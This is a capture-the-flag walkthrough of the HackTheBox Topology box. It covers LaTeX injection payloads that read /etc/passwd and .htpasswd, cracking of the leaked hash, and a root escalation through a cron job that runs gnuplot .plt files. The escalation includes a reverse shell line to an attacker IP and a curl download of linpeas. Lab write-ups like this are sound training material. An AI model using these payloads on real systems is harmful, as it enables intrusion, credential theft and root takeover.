HTB Topology: LaTeX Injection to Root
The HackTheBox Topology machine is an easy-rated Linux box that chains together classic web enumeration, a LaTeX injection vulnerability, credential cracking with John the Ripper, and a gnuplot + cron privilege escalation path.
The HackTheBox Topology machine is an easy-rated Linux box that chains together classic web enumeration, a LaTeX injection vulnerability, credential cracking with John the Ripper, and a gnuplot + cron privilege escalation path. This writeup walks through the full kill chain, explains the reasoning behind each pivot, and links to the references I relied on so you can reproduce (and understand) every step.
1. Initial Setup
Start by adding the target IP address to your /etc/hosts file:

2. Reconnaissance and Enumeration
2.1 Nmap Port Scan
First, I ran a service and script scan to enumerate open ports:
sudo nmap -sV -sC topology.htb

2.2 Directory Brute-Force with Dirsearch
Next, I brute-forced the web root for hidden paths:
dirsearch -u http://topology.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

The port 80 landing page redirected to another domain, and fuzzing did not reveal anything juicy:

I added the custom domain to /etc/hosts and moved on.
3. Discovering the LaTeX Rendering Endpoint
The secondary domain hosts a PHP script that renders LaTeX expressions into images based on user input:

A very useful reference for crafting LaTeX command-injection payloads:
4. Exploiting the LaTeX Injection Vulnerability
4.1 Initial Payload Attempts
I first tried \input{/etc/passwd}, but the page sanitized it:

Most of the common payloads were also blocked. Two additional references helped me find more advanced ones:

The endpoint could not parse the entire /etc/passwd, but it confirmed the input field was vulnerable to LaTeX injection:

4.2 Virtual Host (vhost) Enumeration
Unable to achieve RCE, I pivoted to vhost enumeration:
ffuf -H "Host: FUZZ.topology.htb" -H "User-Agent: PENTEST" -c \
-w "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt" \
-u http://topology.htb
Interesting results surfaced:


I had not yet added the dev subdomain to /etc/hosts:

After adding it:

4.3 Bypassing Sanitization with Dollar-Sign Delimiters
The dev subdomain enforced HTTP Basic Auth, so I went back to refining the LaTeX payload. HackTricks has an excellent reference:
\lstinputlisting{/etc/hosts} alone still failed. LaTeX uses specific characters to trigger commands (see the Overleaf docs on Commands), so I wrapped the payload in dollar signs to enter math mode:

$\lstinputlisting{/etc/passwd}$
This successfully reads /etc/passwd:

5. Reading .htaccess and .htpasswd on the Dev Subdomain
Configuration files in common paths returned errors, but path reasoning pointed toward the dev subdomain:
$\lstinputlisting{/var/www/dev/.htaccess}$

Pivoting to the credential file:
$\lstinputlisting{/var/www/dev/.htpasswd}$

Captured hash:
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
6. Cracking the Hash with John the Ripper
6.1 Identifying the Hash Type
hash-identifier
# HASH: $apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

John automatically detected the type (MD5 crypt / Apache APR1) and suggested the correct --format argument.
6.2 Running John
john md5.txt --wordlist=/usr/share/wordlists/rockyou.txt
john md5.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt
john --show md5.txt

Cracked password: calculus20.
7. SSH as vdaisley and Capturing the User Flag
ssh [email protected] # password: calculus20
It worked:

cat /user.txt
sudo -l was disabled on this host:

8. Privilege Escalation — Abusing a Gnuplot Cron Job
8.1 Running LinPEAS
Transferring and running linpeas.sh on the target:
# Attacker
python -m http.server 1000
# Target (writable directory)
curl http://10.10.16.64:1000/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
After an hour or two of triage, the most promising finding was a binary/directory with unusual read and write permissions:

Write permissions on the gnuplot working directory:

8.2 Checking GTFOBins
Because of the binary's privileges, I reviewed GTFOBins for applicable SUID tricks:

Direct SUID exploitation did not pan out:

8.3 Identifying the Cron Trigger on .plt Files
Since I had write permissions on /opt/gnuplot/, the next question was whether a cron job was polling that directory. Reference on gnuplot file extensions:

I dropped test files with different extensions:
# Did not trigger
echo 'system("touch /tmp/E")' > /opt/gnuplot/E.sh
# Triggered successfully
echo 'system("touch /tmp/ErkanUcar2")' > /opt/gnuplot/cuneyt2.plt

Confirmed: cron picks up .plt files in /opt/gnuplot/ and executes whatever is inside the system() call as root.
8.4 Rooting the Box
Option A — full reverse shell (using penelope):
penelope -p 443
echo 'system("sh -i >& /dev/tcp/10.10.16.64/443 0>&1")' \
> /opt/gnuplot/OumoutChouseinoglou.plt

Option B — direct flag exfiltration (simpler and faster):
echo 'system("cat /root/root.txt > /tmp/flag.txt")' \
> /opt/gnuplot/onurcan.plt

Instead of waiting for a reverse shell to stabilize, this approach closes out the entire privilege-escalation vector in a single command.
9. Key Takeaways
- LaTeX injection can be a silent killer — even heavily sanitized endpoints may still accept math-mode (
$...$) delimiters. - Always enumerate virtual hosts when a web app references domains you cannot resolve directly.
.htaccessand.htpasswdfiles remain valuable LFI targets on Apache-based stacks.- When
sudo -lis disabled, look for writable directories polled by cron jobs, especially tied to interpreters likegnuplot,python, orawkthat expose asystem()-style primitive. - GTFOBins and PayloadsAllTheThings remain indispensable reference material for every pentester.